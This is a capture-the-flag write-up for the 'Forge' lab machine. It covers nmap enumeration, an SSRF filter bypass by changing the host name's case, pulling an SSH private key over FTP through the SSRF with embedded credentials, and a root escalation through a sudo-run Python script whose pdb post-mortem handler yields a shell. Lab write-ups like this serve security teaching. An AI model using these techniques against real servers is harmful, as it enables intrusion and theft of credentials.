Machine Information
Forge is rated an Medium box. The box has good double SSRF technique, first it starts with upload page on forge.htb page where I am getting blocked because of filter, I tried few things to bypass it. After successfully bypassing it, I found another domain where I can access its source code. Getting hands on them revealed FTP server with credentials. FTP server is configured for User’s home directory where I get its SSH key. User is able to run file inside /opt/
directory as root where I encountered and bypassed/exploited pdb
module’s post_mortem
function.
Enumeration
As usual I ran nmap
, to scan for any open ports with their services running on them.
1
2
3
4
5
6
7
8
9
10
nmap -p- -oA nmap/all 10.10.11.111 --min-rate 10000
Nmap scan report for 10.10.11.111
Host is up (0.15s latency).
Not shown: 65471 filtered tcp ports (no-response), 62 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 20.66 seconds
So only ssh and http port is running, now I ran -sC
& -sV
flags,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nmap -p 22,80 -sC -sV -oA nmap/forge 10.10.11.111
Nmap scan report for 10.10.11.111
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
-sC
: This will scan the regarding port with default set of scripts from nmap database-sV
: Enables version detection of the regarding port number
I can discover the OS version just by looking at the SSH version on the Launchpad and it revealed that OS is Ubuntu Focal.
Port 80
I now visited port 80 and it redirected me to forge.htb
, I added it to my host file.
10.10.11.111 forge.htb forge
I ran ffuf
against the domain in the background while I poke at the website.
Immediately it showed it admin.forge.htb
domain.
I appended it to host file.
10.10.11.111 forge.htb forge admin.forge.htb
Getting User
SSRF on forge.htb
While poking at the site there is one directory /upload
where I uploaded one image and it gave me an URL for that image. As you can see there are 2 ways to upload the image, I uploaded first time using the local file.
Now I will try to upload it using the URL. I captured the request in BurpSuite and forwarded the Repeater, it is giving randomly generated endpoint for the file like the above.
In the Repeater tab I changed my IP to localhost to see any potential anomaly
After trying numerous things, I went with case sensitive and it gave me an URL to access the output.
Firefox was unable to show the output, So I used curl
for this.
SSRF on admin.forge.htb
When I visited the admin.forge.htb
it showed that only localhosts are allowed to visit it.
The same thing happened, I was getting blocked. I changed the casing from admin.forge.htb
to Admin.Forge.htb
, and it gave me an URL to access the file. Doing that with curl
showed the code for admin portal with upload
and announcements
page.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
Discovering FTP
I access the announcements page first and it gave me important information such as
- credentials for FTP server,
upload
page is accessible using various protocols- I can upload an image using
?u=<url>
parameter which after decoding?u=<url>
I scanned the host on port 21 because at the first enoucounter nmap
did not give me any information. After running it it turns out the port is filtered for outside connections. I can access it using internal server.
1
21/tcp filtered ftp
Now that I have credentials for FTP server I can login using them, but since the port is filtered for me. I will pass the credentials from BurpSuite in URL, Since upload
page is configured to use FTP protocol it will be easier.
I curl
ed the URL given by server, it gave me list of files inside the FTP server.
I can access the files just by appending the filename after at the end of URL, so my url becomes http://Admin.Forge.htb/upload?u=ftp://user:heightofsecurity123!@Localhost/.ssh/id_rsa
, Using the private SSH file I will now login to the machine.
Getting root
SSHing into machine, I found interesting file inside /opt/remote-manage.py
.
Also doing sudo -l
reveals that I can execute this file as root user.
1
2
3
4
5
6
7
-bash-5.0$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
Content of this files are as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
Going through the script, It imports necessary modules for the script to run properly. Port
variable is using randomly generated number between 1025-65535
to host the script on the output, then it binds it to localhost and the port number. Script then asks user for password, if it is secretadminpassword
then goes to while True
claus inside else
part where user can select options from 1-4
.
Now the interesting part is the except
, where it is using pdb
module, which is used for debugging purpose. post_mortem()
function of pdb
executes when the error is occured and the code part of the script will no longer continue, you cannot step in the execution/divert the execution, you just sent directly to shell.
So all I have to do is to cause an error in the exceution.
I will login to another SSH shell to interact with the execution. I used nc
for this purpose.
All I did was to press Enter key
and it dropped me right into pdb
shell.
From there I can just import pty
module and give myself a proper shell.
I can login as root user from SSH if I want.
Resource for pdb
- https://www.geeksforgeeks.org/python-debugger-python-pdb/
- https://docs.python.org/3/library/pdb.html
- https://stackoverflow.com/questions/13994847/does-post-mortem-debugging-in-python-allow-for-stepping-or-continuing